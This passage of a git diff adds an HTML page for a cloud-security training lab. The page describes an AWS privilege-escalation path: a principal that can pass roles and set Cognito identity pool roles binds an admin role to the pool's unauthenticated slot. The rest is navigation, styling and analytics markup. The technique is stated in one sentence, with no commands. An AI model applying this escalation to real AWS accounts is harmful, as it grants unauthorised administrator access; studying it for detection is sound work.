+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/cognito-identity-001/index.html b/docs/labs/cognito-identity-001/index.html
new file mode 100644
index 00000000..11e1aa92
--- /dev/null
+++ b/docs/labs/cognito-identity-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>PassRole + Cognito Identity Pool: Unauthenticated Role Swap - pathfinding.cloud Labs</title>
+    <meta name="description" content="Principal with iam:PassRole and cognito-identity:SetIdentityPoolRoles can bind an admin role to an existing pool&#x27;s unauthenticated slot, turning it into a public STS credential-vending endpoint">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/cognito-identity-001/">
+    <meta property="og:title" content="PassRole + Cognito Identity Pool: Unauthenticated Role Swap - pathfinding.cloud Labs">
+    <meta property="og:description" content="Principal with iam:PassRole and cognito-identity:SetIdentityPoolRoles can bind an admin role to an existing pool&#x27;s unauthenticated slot, turning it into a public STS credential-vending endpoint">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="PassRole + Cognito Identity Pool: Unauthenticated Role Swap - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Principal with iam:PassRole and cognito-identity:SetIdentityPoolRoles can bind an admin role to an existing pool&#x27;s unauthenticated slot, turning it into a public STS credential-vending endpoint">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
